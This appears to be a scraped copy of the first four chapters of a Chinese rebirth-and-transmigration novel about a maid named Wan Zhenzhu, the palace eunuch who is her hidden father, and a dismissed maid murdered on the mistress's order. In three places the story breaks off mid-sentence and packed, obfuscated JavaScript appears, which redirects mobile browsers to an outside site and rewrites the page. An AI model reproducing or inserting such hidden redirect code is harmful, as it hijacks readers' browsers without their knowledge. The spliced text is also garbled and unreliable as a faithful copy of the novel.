《穿书之家生子》 1. 第1章 第1章 大晋朝,洪福十五年,春。 长林军节度使官邸,朱府大宅院,内宅里,梧桐院。 春光正好,院里百花盛开,香气袅袅。正堂屋内,隐有暗香,迎风而入,萦绕于间,阵阵惬意。 “嬷嬷家的女儿,我瞧了,自然是极好的。”坐于正堂屋的上首,开口讲话的少女珠围翡绕,锦衣华服。处处富贵,处处妥帖,相得宜章。 这一位少女是永州栎州二镇节度使朱瑞的嫡女朱凤曦,及笄之年,端是一位声名远扬的朱门淑媛,被人盛赞国色天香,才貌双全。 “破落户的家下人,当不得姑娘的夸,当不得。”牛嬷嬷哈着腰,语气献媚的回话道。 “嬷嬷在梧桐院里当差多年,我信嬷嬷。往后嬷嬷的闺女也留下当差。暂时先领了三等的月钱。”朱凤曦开口赏给家下人一份差使。 “能在姑娘住的院儿里听使唤,这是天大的福份。”牛嬷嬷一边陪着笑,一边给跪地上的梳着双丫发髻的闺女使眼色,又道:“你个蠢的,还不快给姑娘磕头谢恩。多少人想进姑娘院里侍候,还没那等福份了。如今姑娘开口赏你一份差使,快快谢恩。” “奴婢谢姑娘赏。”被亲娘牛嬷嬷骂蠢的,又得了三等月钱差使的丫鬟叫万珍珠。她这会儿忙磕头谢恩。 “起来吧。”朱凤曦唤起。 在三等丫鬟万珍珠谢恩起身后,朱凤曦跟身旁的一等大丫鬟白玉吩咐话,道:“她的差使,你来安排。” 大丫鬟白玉一听自家姑娘吩咐,忙福一礼,尔后,白玉唤三等丫鬟万珍珠一道告退。 二人离开前,白玉瞧着奶大姑娘的牛嬷嬷对她笑一笑,一脸和善。 白玉回了牛嬷嬷一个微笑,她的心中有思量。待领着三等丫鬟万珍珠去安排差使时,白玉态度更是温柔三分。 至于真给三等丫鬟万珍珠安排什么要紧的活计?大丫鬟白玉的心头有数儿,真不需要。 三等丫鬟说好听点拿着月钱,当着差使。事实真相就是三等丫鬟压根儿没资格凑到自家姑娘的近前侍候。 梧桐院的家下人房中。 大丫鬟白玉打量着三等丫鬟万珍珠,瞧着万珍珠的模样清秀,楚楚可人。在一众的家下人丫鬟里不算是太出众,毕竟能在姑娘跟前当差的丫鬟就没有一个是不漂亮的。 白玉侍候自家姑娘多年,太清楚自家姑娘喜欢好看的丫鬟。 丫鬟漂亮了,如此衬着才貌双全的姑娘更美。只能说是绿叶衬红花,红花越娇艳。 “你的名儿起得好。”白玉夸一回万珍珠的名字。 朱三姑娘朱凤曦的跟前有四位一等大丫鬟,分别叫白玉、翡翠、玛瑙、珊瑚。 落白玉耳里,万珍珠这一个名字是牛嬷嬷起名儿的。这用意何在? 当然是牛嬷嬷肖想了自家闺女将来成为姑娘跟前的一等大丫鬟。 “听一听,珍珠这名儿跟我和翡翠玛瑙珊瑚她们几人都相称,多般配。妹妹天生就应该来梧桐院里侍候主子姑娘的。”大丫鬟白玉满面笑容的跟三等丫鬟万珍珠讲了这一番话道。 晚间,家下人房里。 大丫鬟白玉已经是下差了,未当值的大丫鬟翡翠跟白玉问道:“牛嬷嬷的闺女性情如何?” “瞧着不爱出声,貌似还有一点怯懦的模样,跟牛嬷嬷砸砸呼呼的喧嚷作派不一样。”白玉思考片刻后,方才回了翡翠的问话。 “这不跟牛嬷嬷是两幅做派?”翡翠一脸不相信。 “等明个牛嬷嬷的闺女珍珠就进院儿里当差。到时候你亲眼瞅瞅。”白玉笑嘻嘻的回话道。 “中。”翡翠应一声,笑道:“等明个我一定仔细瞅瞅。” 被大丫鬟白玉和翡翠议论一番的三等丫鬟万珍珠这会儿蹲自个屋里。 明个去当差,她今晚还歇在自家住的外院下人房里。 这是府上分给牛嬷嬷的屋子。万珍珠蹭住在自己亲娘的屋里,母女二人住一间屋子。 屋内,油灯亮着。 牛嬷嬷跟闺女叮嘱一番话,翻来覆去,絮絮叨叨。万珍珠仔细听着,她不反驳,也不多嘴,只是喏喏连声。 等着熄灯睡下,躺在榻上,万珍珠还在想着明个要当差的事。 “啊……”夜半时分,万珍珠被惊醒,醒来之时,她的背上是冷汗一片。 “吵嚷嚷什么,天亮要当差,赶紧的睡了。”牛嬷嬷被一屋睡的闺女吵个半醒,迷蒙之间,嚷嚷一句。话罢,牛嬷嬷翻身继续入眠。 躺榻上的万珍珠是了无睡意。她的脑海里还在回想着梦里,不对,应该前世今生发生过的一切事情。 万珍珠心想,她重生了。 世家公子与名门千金结姻缘,良辰美景,天作之合。 前世之时,名门千金是万珍珠未来要侍候的主家姑娘朱凤曦。 朱凤曦的父亲朱瑞是长林军节度使,朱凤曦有两位一母同胞的嫡亲兄长朱封、朱禅。朱凤曦是朱家夫人杨氏膝下的嫡幼女,被家下人尊称为“三姑娘”。 朱三姑娘是从“未来”穿越,她追求一生一世一双人。 朱三姑娘当然会如愿以偿,她的未来一片光明。先是嫁给司马家的二公子司马察,后又成为司马家的宗妇。 至于万珍珠嘛,不过一介丫鬟,左右是朱三姑娘陪房里不起眼的一人。 等将来朱三姑娘嫁入司马家,万珍珠被主子配婚,指给家下人做媳妇子。 丈夫早逝,万珍珠膝下独余一女。二十年后,曾经的朱三姑娘成为司马家的家主夫人,她与夫君闹矛盾。 司马家主宠美姬伎子,家主夫人便抬举了美貌丫鬟与美姬伎子斗法。朱三姑娘,这一位家主夫人抬举的美貌丫鬟里有一人就是万珍珠膝下的唯一闺女。 家下人,家生子,主人的财产,生死操人手。 万珍珠亲眼瞧着闺女成为老男人的通房丫鬟,亲眼听着亲娘牛嬷嬷念叨“外孙女有福,将来生个小子,子孙全做主子”。 彼时的万珍珠落泪了,她凑于亲娘耳边小声说道:“没有未来,娘,我的儿,你的外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047412|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙女被主母灌了一碗又一碗的绝子汤。母生我,唯一女。我生儿,唯一女。我们祖孙三代往下已经不会再有血脉相连的亲人骨肉。” 绝子汤,绝的便是子嗣血脉。 “……”万珍珠犹记得前世那会儿的亲娘被她的话给惊住,先是呆住,待醒神后,凄厉哀嚎,晕厥过去。 亲娘一睡,未曾再醒。 亲娘即去,尚没安葬,万珍珠又得了家主夫人跟前的丫鬟传话。 说什么她的闺女谋杀家主的美姬,美姬没命,杀人偿命,她的闺女被主人用家法给活生生的打死了。 彼时彼刻,此时此刻,昏暗屋中,万珍珠浑身在颤抖,她用牙咬紧了被子的一角,咬得死死。 万珍珠觉着冷,骨头缝儿里冷。她貌似整个人都被冻住,冻的寒意透骨。 疯了,疯了,感觉要疯了。 万珍珠想到孑然一身的孤寂,她自个失去一切的无力与疲惫。她就止不住的颤抖,那不止是冷,纯粹透心凉。 在这一晚,万珍珠重生了。同时,她又觉醒前世宿慧,她知道自己不止重生了,还穿书了。 小说《高门主母》里朱三姑娘是女主,万珍珠的亲爹是朱三姑娘的外挂。 万珍珠的亲爹是宫里大太监,万珍珠的亲娘牛嬷嬷是家生子。 亲娘一辈子活在世家门阀的光环下,被人叨叨太监风光短暂,流水的皇帝太监,铁打的世家门阀。 于是亲娘牛嬷嬷隐瞒了万珍珠的存在,想让女儿一辈子生活在世家门阀的庇佑下。 万珍珠穿书了,她知道亲娘做为朱三姑娘的奶嬷嬷。亲娘的隐瞒是有心人的误导。造成结果是万珍珠的亲爹万忠良把朱三姑娘当成了亲生女儿。 有大太监在暗里当“爹”,穿越女朱三姑娘被小人蛐蛐,自有护女儿的大太监爹保护,打脸小人。总而言之,朱三姑娘的一生是有挂的人生。 小说《高门主母》结尾时,朱三姑娘和夫君恩恩爱爱,刚诞下第二个嫡子。 小说有结尾,人生没完结。 这一辈子的万珍珠重生了,穿书了,她回到自己刚要进梧桐院里做三等丫鬟的时候。 “一切还没有发生,一切来得及挽回……”万珍珠无声的呢喃一句话道。 前世今生,悲剧一场。谁造成的?万珍珠心中有数。 暗藏祸心的朱家夫人杨氏是祸首,亲娘牛嬷嬷是好心办坏事的典型示范。 怪自己?万珍珠不会怪自己。真要怪,怪草台班子一样糟糕的狗屁世道。 发疯了,哪还有怨自己的道理。 万珍珠在此时就真想着发疯一场,怼天怼地,怼人怼事。但是绝对,绝对不会怼自己。 “狗屎家生子,狗屎家下人。”万珍珠心里愤怒,怒了一回。她暗自发誓要改写跟狗屎一样的糟糕未来。 至于亲娘牛嬷嬷梦里追求的,追捧着给朱三姑娘当一等大丫鬟,去做什么狗屎的丫鬟“副小姐”。 万珍珠又在心里啐了三口唾沫,暗骂一句“狗屎”。 2. 第2章 第2章 次日,万珍珠在亲娘牛嬷嬷的叮嘱声里到了梧桐院当差。 大丫鬟白玉给万珍珠安排了一点活计,简简单单,先照料了三姑娘朱凤曦喜爱的花花草草。 便是照料这花花草草的差使也不是万珍珠一个人的活计,梧桐院里不止有三等丫鬟们,还有粗使丫鬟婆子若干。 可谓是一样活计,几样人争着抢着想冒头掐尖。 冒头了,奴婢婆子的本事才可能让上面的主子姑娘瞧见。不冒头,主子姑娘哪知道自个院里有多少的奴婢婆子。 只能说一个萝卜一个坑,想在主子姑娘跟前露脸,还真不是谁都有机会。 “凭着牛嬷嬷的体面,珍珠,你早早晚晚一定会在姑娘跟前得脸的。”跟万珍珠一样拿了三等月钱的锦儿羡慕着嚷嚷一番话。 万珍珠听着,含糊应一声。她不多嘴多语,还是保持着往常的少言习惯。貌似一心当差,实则摸鱼走神。 梧桐院里,主子姑娘有份例使唤,丫鬟婆子们也有份例用度。 只凭着朱凤曦嫡出姑娘的身份尊贵,又得父母心疼,有当家主母的亲娘贴补。三姑娘朱凤曦的份例从来是多多益善,只有超标准的,没有节省了的道理。 于是朱凤曦这一位主子姑娘的份例,主子姑娘一人哪里用得完,吃得了。免不得侍候主子姑娘的贴身大丫鬟们得了恩赏。 大宅院里一等大丫鬟的副小姐名声,从来不止是吹捧,那是跟随在主子姑娘面前享福了,尔后,显摆出来的款儿。 主子姑娘享受不完的份例,特别是吃的用的,随手一指,余落的便是赏给贴身侍候的一等大丫鬟。 一等大丫鬟们自己的份例一旦用不上,于是就空缺出来。 这不,二等丫鬟就享受了一等丫鬟空缺出来的份例。以此往下,万珍珠这样刚当差的三等丫鬟又享受了二等丫鬟的份例。 “瞧瞧梧桐院当差多好。今个晌午,还有硬菜。”坠儿开心的喊了话。 万珍珠是三等丫鬟里的一人,她自然跟三等丫鬟锦儿、坠儿、梅儿等人一道,在晌午时,大家伙也一起用了午饭。 坠儿口中的硬菜是一道鸡,不全乎,半只鸡。 为何半只鸡?不外乎,其余部分是给主子姑娘配小菜做佐料了。如今落三等丫鬟口中的荤菜硬菜,那便是配菜剩下来的边角料。 就这边角料对于丫鬟们而言也是二等的份例用度。 “姑娘体恤。姐姐们得了姑娘赏,吃的用的,哪样都好。如今姐姐们不需得这些,我们就沾了便宜。”梅儿在旁边讲话道。 “有得吃,赶紧吃。可不能浪费了。”锦儿笑道。 瞧着大家伙说得热闹,万珍珠闷声端着碗。应该伸筷子时,她自然不手软。 还别说,来梧桐院当差后,万珍珠确定自个的伙食是更好了。 荤食硬菜入口,厨房的师傅手艺好,万珍珠吃一个肚儿圆。 想着前世与今生,万珍珠心头感慨,若不知未来的惨淡。只凭着高门府邸如今的日子,吃吃穿穿不花钱,当差还能拿月钱使唤,搁府邸外面了得让多少人羡慕。 只想着前世的糟糕未来,万珍珠的一双眼眸子微眯,又收敛三分心间的情绪。 这日,晌后,万珍珠揽着替上面姐姐跑腿的名义,她光明正大的离开梧桐院。 关于朱府的内宅大院,哪门哪道又有哪一些的蝇营狗苟。凭着重活一回的便利,万珍珠的心头有一点数儿。 “贵客临门。” “管事有吩咐,莫敢担搁了,谁误事,谁受罚。” “快,快……” “……”远远儿的,万珍珠听着一些谈话声。 没凑近些,万珍珠只是远远的瞅了一眼,听到一二的名儿后,她便避道绕开。 亲眼瞅瞅,亲耳听听,不过是万珍珠想确定一些事情是不是又发生了? 长林军节度使的官邸在今个,前世今生,都迎接了一番贵宾。 万珍珠前世远远的瞅过一眼,她记忆好,犹记得一位贵人的模样。至于对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047413|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方肯定不识得她。 “赵济世……”万珍珠低头,她的嘴里无声呢喃三字。 这一个名字在眼下嘛,乏善可陈,不过是从大赵朝来大晋朝的使臣之一。 这说法也不全对,赵济世的身份更准确说法应该是大赵朝使臣的护卫之一。算不得无名之辈,却也是平平无奇。 在未来这一个名字嘛,万珍珠却是如雷贯耳,谁让赵济世在前世会有一个响当当的绰号“活曹操”。 万珍珠听过民间传奇。她知晓这一辈子的青史之上,也有过一位曹操,也挟天子以令诸侯。 赵济世的将来嘛,不过是从平平无奇的武官一路干成了大赵朝的摄政王。 在未来流传于天下的一句名言,便是一句“陛下何故谋反”? 大晋朝与大赵朝二者平分秋色,各据中原北方泰半。 永州栎州二镇属于大晋朝治下。至于大赵朝,万珍珠了解不深,道听徒说居多。 今个替上头姐姐跑腿一回,顺道打探消息,再三确认无误,上辈子发生过的事情,这辈子没被蝴蝶掉。于是万珍珠就来匆匆,去匆匆的离开。 晚间,家下人房里。 大丫鬟翡翠跟白玉讲道:“今个我瞅了珍珠一回,瞧着跟牛嬷嬷真不像。倒是性子老实,不多话,只当差。” “眼下瞧着是个好的,再多瞅几日,日久见人心。”白玉回道。 对于老实肯干,还不争不抢的小丫鬟,一等大丫鬟们瞧着挺顺眼。 特别是这一个黄毛丫头还有背景的,万一想争了抢了,上头的一等大丫鬟就会讨厌的很。 一起冲突,为着芝麻蝇头的小利闹腾起来,搁一等大丫鬟眼中是会落了梧桐院的脸面。 自家姑娘听不得嚷嚷叫唤,真是闹腾,下面人谁都不能讨个好。 对于一等大丫鬟们而言,当然会盼着到梧桐院当差的丫鬟婆子尽是些忠心老实,只知当差的憨货。 一等大丫鬟还有一点小心思,就是老实人儿注定没嘴甜的讨喜。 3. 第3章 第3章 梧桐院,三等丫鬟住的家下人房里。万珍珠正在听一屋住的同事们咬耳朵,嚼舌根子。 “姑娘今个真生气了。”坠儿讲道。 “怨不得姑娘生气,福香姐姐大错特错……”梅儿跟着讲道。 “……”一屋睡的几人还在继续嚼了舌根子,万珍珠不插嘴,她就当一个带耳朵,没带嘴巴的吃瓜猹。 至于同事们议论的事事非非,哪怕今个因为替上头姐姐跑腿,万珍珠不在院里,她没有亲眼所见。 可发生过什么?今生没瞧见,前世的万珍珠亲眼瞧了一回。 说是大事,不算大事。说是小事,不算小事。 归根到底,不过是二等丫鬟福香被三姑娘朱凤曦从梧桐院里撵走了。 对于三姑娘而言是一句话的小事。对于二等丫鬟福香而言就是一辈子的前程断了。 一个姑娘跟前的二等丫鬟被撵走,又哪里还有什么未来可言?一旦出府,肯定被撵到庄子上当差。 村头庄子可不像府里的日子轻省。依着万珍珠的看法,府里套路深,人心叵测,蝇营狗苟。 那村头庄子里耕田种地,养殖织布,一样是路滑蛐蛐,日子难熬。 府上好吃好喝,吃饱穿暖。村头庄子里嘛,就很难说,细说的话很是一本又一本的烂帐了。 只要眼不瞎,心不盲,在府里的这些丫鬟婆子们心头,没谁会想离开府里的好日子不过,落外面去吃糠皮咽野菜,还是过吃不饱的困苦日子。 梧桐院,正屋里。 暖房中,一等大丫鬟珊瑚在劝话,道:“姑娘可不能生气了。没得气坏您。” “珊瑚你说说,我待人可是太和善,才会让人有了非份的念想?”朱凤曦还在生气,她问着身边的贴身大丫鬟话道。 “姑娘待人自然和善。不过是福香心野了,心思坏了。全怨她,撵走她,还是姑娘太心善,便宜她。”珊瑚忙回话道。 “一般二般的闹腾一点小事,我不爱撵人。可福香,她的心思坏了。”朱凤曦的眼神里还有怒火。 “二哥跟静姐姐青梅竹马,我可一直盼着静姐姐嫁进朱府做我嫂嫂。福香竟然敢勾引二哥……”话至此,朱凤曦的心情很坏。 今个在花园子里,朱凤曦亲眼所见,她院里的二等丫鬟福香跟亲二哥朱禅调情逗趣。 “珊瑚,你说得对,撵走福香,确实是便宜她。”朱凤曦念叨这一句话,尔后,又道:“罢罢,福香倒底没干成坏事,也不必追究了。” 做为后世来人,穿越女朱凤曦的眼中揉不得一点沙子,在她心里,一生一世一双人才是对。 哪怕父母恩爱,可庶出的四妹朱小蝶存在,还有四妹妹的生母白小娘存在,这二人就让朱凤曦的心里膈应得慌。 如今福香敢“勾引”二哥,万一惹出流言蜚语就是坏了梧桐院的名声。这当然是让“要脸”的朱凤曦容不得。 梧桐院里撵走一个二等丫鬟,不过是鸡毛蒜皮的小事。至少落于朱府的当家主母朱家夫人杨氏的耳中确实就如此。 可大大小小的事,关系内宅,关乎子嗣,杨夫人免不得多重视两分。 这不,三姑娘朱凤曦一撵走了福香。杨夫人还跟身边的陪房嬷嬷问清楚事情的前因后果。 晚间卸妆后,坐于梳妆台前,杨夫人瞧着镜中的自个。 她感慨一句,道:“岁月不饶人,瞧瞧,我这眼角处好似都长皱纹了。” “夫人貌美,出身清贵,您这脸上保养得当,哪有皱纹,您瞧错了。”嬷嬷凑近些,仔细瞅瞅,又道:“奴婢没瞧见皱纹,倒瞅着夫人一颗福痣生的好,此主富贵,无量福份。” 嬷嬷的目光落于杨夫人抚于脸颊上的食指处,那儿,正是杨夫人被相师夸过的,说生得好的一颗福痣。 “嬷嬷尽会捡好听的哄我。”杨夫人脸上浮现一抹的笑意。 “我一辈子再是富贵,也不过一内宅妇人。如今就盼着儿女顺遂。眼下,却也是遇了恼人的事,居然有不识好歹得想坏了我家儿女的好名声。唉。”杨夫人叹息一声。 “嬷嬷,撵走的丫鬟,你送一程,莫要留了,免得生后患。我瞧着凤曦还是心软了一些。”杨夫人吩咐一席话道。 “夫人您请放心,奴婢一定办妥。”杨夫人的陪房杨嬷嬷忙应话道。 杨夫人的话不是暗示,落杨嬷嬷耳里是明示。杨嬷嬷自然要替主母分忧解难,办妥差遣。 杨夫人长得美,其女朱凤曦的容貌五分肖母。 只杨夫人的美,不止容貌出众,更是心思缜密之辈。这不,太缜密了,也便是缜密的视人命如草芥。 一句吩咐,一个丫鬟的生生死死,落在了杨夫人的嘴里没半点份量。 一夜过去,又是天明。 万珍珠继续当差,不过跟昨日一样的乐于替上头姐姐跑腿办事。 她只干事,不爱多嘴,闷头当差,老实干活。这是万珍珠给梧桐院里一等大丫鬟们的印象。 只是在替梧桐院上头姐姐们跑腿的同时,万珍珠又顺道溜一溜小差。 西花园,夹道处。 赵济世在一个拐角处,就单独见到了一个小丫鬟打扮的少女。对方向他福礼。 “你寻我,有何事?”赵济世一介客人,远在异乡,还真没有想到会有内宅的人和事找上门。 “我听过大人的尊名,知您一诺千金。想求大人帮衬一件小事,我爹必有重重的酬谢。”来寻赵济世的是万珍珠。 至于寻人的法子很简单,不外乎,万珍珠凭着重活一回,她拿着外院一个婆子的把柄,尔后,让对方帮衬一次。 先拿了把柄,让婆子办事。再塞了银钱,给好处让对方乖乖的闭嘴。 时间紧,任务重。万珍珠的手段免不得龌蹉点。 可怎么说呢?萝卜加大棒。招式虽老,确实有用。这不,赵济世这一位未来的贵人被婆子递话给请来了。 “你知道我的事。”赵济世瞧一眼面前的小丫鬟,瞧着对方低头喏喏的模样,他心中有计较。 赵济世出身于大赵朝的北地边镇。一诺千金的美名远扬,自然是当年的赵济世做过一番大事。 往前旧事对于赵济世而言,那扬的不止是名,还有赚到手的利益。 非是扬名,赵济世一介普通寒门子又怎么可能混入大赵朝的官场,还是混到尊贵的齐王世子身边做护卫。 这一回大赵朝差遣往大晋朝的使臣,可不是什么小人物。而是大赵天子的皇长孙,齐王世子李明弘。 “乃父有重谢?”赵济世说这一句话时,心头冷漠,眸光冷漠。 怨不得赵济世不重视,一个小丫鬟的亲爹,又哪来多重的酬谢? 赵济世是齐王世子的随身护卫,他的前途在齐王世子身上。 此番随一个婆子递话走一趟,纯粹是赵济世想瞧一瞧递消息的鼠辈意欲何为? 谁让齐王世子做使臣,这等贵人,最是要紧。赵济世可不敢大意行事。 万一齐王世子出事,赵济世的前程就坏了。总之关乎上齐王世子的安危,小事也变大事。 落赵济世的眼中,再谨慎也不为过,就挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15047414|162749||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理所当然的。 “大晋朝堂,大晋天子跟前的大太监万忠良是我爹。我是我爹唯一的亲闺女。”万珍珠偷偷的瞅一眼,尔后,便瞧见神情冷漠的赵济世。她不废话,就直接上了终极大招。 “万忠良……”这三个字落入赵济世的耳里,赵济世震惊。 真的被惊住,堂堂大晋天子的近臣,宫廷万内相的亲闺女没享成福,还在做了一介小丫鬟侍候人,谁敢相信? 赵济世不相信。特别是万忠良是宫廷内相,这太监没了根,如何生亲闺女?赵济世忍不住要好奇。 当然好奇归好奇,赵济世神色不变,他问道:“乃父若是万内相,你可有证据?” 空口白牙,张嘴大话,赵济世不会相信。 “我有证据。”万珍珠抬头,她一脸坚毅,尔后,就伸手从自己的衣襟里拿出一个荷包。 待荷包被打开,万珍珠拿出一根桃木做的簪子,她道:“这是我爹亲手给我娘做的簪子。” 赵济世拿过来略略的打量一下。手艺不错,做工精致。只是桃木的料子太过于普普通通。 “你求上门,想求什么?”赵济世瞧过桃木簪子后,他的神色缓和两分,语气平静的问话道。 “赵大人您能进宫廷,您能见到我爹。”万珍珠先讲这么一句。 这是万珍珠亲自拜访,想寻了赵济世帮衬的根源。 跟亲娘牛嬷嬷讲重生?万珍珠怕被灌药,亲娘会以为她撞邪了。 何况在万珍珠的心里,她的亲娘早被忽悠瘸了。万珍珠更害怕自己吐露真相,亲娘二话不说的嚷嚷着把自己撞邪一事闹出来。 万一走漏风声,闹破身世一事,到了那等时候,万珍珠在朱府里不过是一个普通的小丫鬟。上头有法子让她叫天不应,叫地不灵。 至于等着亲爹派人寻她,到时候万珍珠再拦了信使讲明身份? 万珍珠又不是真的傻子。她一介内宅小丫鬟,杨夫人不需要开口,使一个眼神,想让她闭嘴的法子多得是。 可能万珍珠见不着信使,上一辈子便是如此,万珍珠压根儿没有见过信使,不知其事。 如果不是觉醒宿慧,闹清楚自己穿书了。万珍珠不会知道自己的真正身世,更不会知道这一辈子,她有一个当大太监的亲爹。 “求赵大人告知我爹,他有一个亲闺女。我娘是朱三姑娘的奶娘牛嬷嬷,我叫万珍珠。万家的珍宝明珠。”万珍珠给自己的名儿寻一个好听的由头。 “……”话说至此,万珍珠跪在赵济世的跟前。求人办事,万珍珠的态度特诚恳,她也能够不要脸面。 万珍珠的声音有一点哽咽,又道:“我很害怕,我的身世可能泄漏了。我怕死,我怕我爹寻来时,这世上已经没了一个万珍珠……” “细说。” 在万珍珠抽泣着,一时停了讲话时,赵济世开口讲道:“你身世如何泄漏了?” “我也拿不准。可……”万珍珠犹豫一二后,才又讲道:“可我前些时候在跟福香姐姐讨问一些进府当差的事儿时,我就无意中说漏嘴。” 话讲至此,万珍珠垂眸,停顿片刻,又继续讲道:“等我进府当差,就头一天,也就昨个,知我身世的福香姐姐被撵出府去。我又发现自个好像被人有意无意的问了一回身世……” 说过这一番后,万珍珠的身子忍不住得颤抖一下,似乎是害怕了。 这会儿的万珍珠跪地上,她垂低头颅,掩去了一切。 至少站立着,个头很高的北方汉子赵济世在此时,他就瞧不见万珍珠眸子里的情绪是如何? 4. 第4章 第4章 在万珍珠求见赵济世,想给自己寻一条光明前路时。 杨嬷嬷这一位杨夫人的狗腿子也奔波在替主子分忧解难的路途上。 城外,朱家名下的一个庄子里。 福香落入了她不敢想像的恶劣境遇。这时候福香的心里是一片苦涩。 “冤枉……”福香的嘴里呢喃着二字。 对于福香而言,她不过一介二等丫鬟,她当然盼着自己的前程更好。可像姑娘骂的主动勾引二公子?福香哪有胆子敢。 若不是二公子挑逗了福香,福香自个是万万不敢先逾越半分。有了二公子在福香跟前的甜言蜜语,允诺了一点子的期许,如此才会让福香对未来升起一点子的念想。 落福香的心里,朱府二公子多尊贵的身份,二公子赏下来的恩典,对于福香而言,她不抓住,又哪敢拒绝了。 “我没勾引二公子。”福香继续叨叨着这一句话。 在福香的心里,她跟二公子当然不算两情相悦。 二公子有未过门的嫡妻,未来的二少夫人出身名门,家世清贵。福香一介丫鬟,她有自知之明。 福香求的不过是能够像白小娘一样得一个小娘的名份,再生一个孩子做下半辈子的依靠。 至于旁的?福香不敢奢求。 可福香万万想不到,二公子明明允诺过将来会纳了她。 可姑娘一发火,二公子就闭嘴。姑娘说撵她出府去,二公子默许了。 前尘旧情又算什么?福香闹不懂。她真觉得自己冤枉。 往后如何?福香不敢深想。她如今没退路,前途一片晦暗。 福香除了独直抹一抹眼泪,哭得梨花带雨,哭红了一双眼睛,她做不了旁的什么。 福香是家生子,她被撵出府后,一归家,家中爹娘和哥嫂除了骂,还是骂。 等府里传消息,不许她继续留城里后,福香被撵到庄子上。 庄子上比不得城里,一根头发丝儿都比不得。 想着往后的日子要生活在这样的地方,福香的心头生出来一片绝望感。 “咯吱”的开门声响起。福香抬头,她就瞧见光线从外透入屋内。 福香眨一眨眼睛,尔后,她瞧清楚进屋诸人。 领头是杨嬷嬷,这一位是夫人跟前的陪嫁嬷嬷。 杨嬷嬷身后是庄子里的媳妇子,那媳妇子一直哈着腰,对杨嬷嬷尽显献媚神情。 在庄子里的媳妇子后面,还随着一众的粗使婆子。 瞧着这一众人来势汹汹,福香的心头浮现一种不祥预感。 “嬷嬷,您瞧,人就住这屋。”媳妇子向杨嬷嬷恭敬的禀话道。 “嗯。”杨嬷嬷轻轻应一声。尔后,杨嬷嬷赏媳妇子一个荷包。接着杨嬷嬷轻轻的挥挥手,媳妇子便识趣的告退离开。 屋内剩下来的诸人,除着杨嬷嬷和随行的粗使婆子,余下就是福香一人。 这会儿的福香赶紧迎上前,她向杨嬷嬷福一礼。 “瞧着像是知礼的。”杨嬷嬷打量着行礼的福香,又道:“可惜,装模做样,假了。” 听得杨嬷嬷此话,福香心头害怕。心中的直觉告诉了福香,杨嬷嬷等人怕是来者不善,善者不来。 此时此刻,福香不敢多嘴,她闭口让杨嬷嬷点评。 “听说你在二公子跟前最是巧舌如簧,如何,在老婆子跟前就是装聋作哑。端得两幅面孔,装得狐媚子做派啊。”杨嬷嬷啧啧两声。 听着杨嬷嬷越来越不善的语气,福香心头沉沉的。 “嬷嬷,奴婢不敢勾引二公子。”福香想替自己解释一句。 只讲一话,福香后面的话没有讲出来,就让杨嬷嬷给打断。杨嬷嬷冷哼一声,道:“还敢狡辩。莫不成是三姑娘冤枉你了?” “……”福香哪敢讲姑娘的半个不好字眼。 福香怕,她真讲,不止夫人想嚼吃了她,便是面前的杨嬷嬷也能让她讨不得半点好。 “姑娘心善仁慈。”福香只能讲这么一句场面话。 “嬷嬷,您高见,奴婢是真的知错了。奴婢往后余生一定在庄子里老实做人,不敢再有半点非份之想。”福香一咬牙,识趣的说了告饶之语,她软着身段。 “早知如此,何必当初。”杨嬷嬷感慨一句。 话罢,杨嬷嬷又仔细得端详了福香的一张脸。杨嬷嬷心想着确实长得貌美,难怪能勾引了二公子。 可惜,就是一个不太聪明的丫鬟。凭着未来二少夫人的娘家势大,夫人就容不得落了二少夫人脸面的事儿。 二公子跟前没有安排貌美的丫鬟,多明白的示醒。 就这,还有人敢往二公子跟前凑,还是三姑娘跟前的丫鬟,这简直就是自寻死路,讨了夫人的憎恶。 “嗯。”杨嬷嬷轻哼一声,再挥挥手。自有粗使婆子上前使了蛮力,一下子摁住了福香。 福香挣扎不得,她的脸上显露出害怕的神色。 福香嘴里求饶,杨嬷嬷懒得听。她只吩咐道:“不凑巧,撵庄子上的福香落水了,命歹啊,没救回。” 被押着的福香挣扎得更利害,她活得好好的,哪曾落水。 可这会儿粗使婆子听着杨嬷嬷的话后,各有动作。有二人继续摁住了福香,另有人去拿了盆,端了水。 等盛了水的盆给端上来,一端到福香面前。杨嬷嬷使一个眼色,摁着福香的两个嬷嬷就是使力。 福香的脸被摁进了浅浅的盆里,摁进了浅浅的水中。 明明很浅,可惜,福香再是挣扎也无用。她先前还努力的挣扎,又过一些时候,便不再挣扎了。 城内,节度使官邸,外院。 赵济世见过万珍珠一面,尔后,离开。在离开前,赵济世还拿走一样信物,算是答应替万珍珠传一回口信。 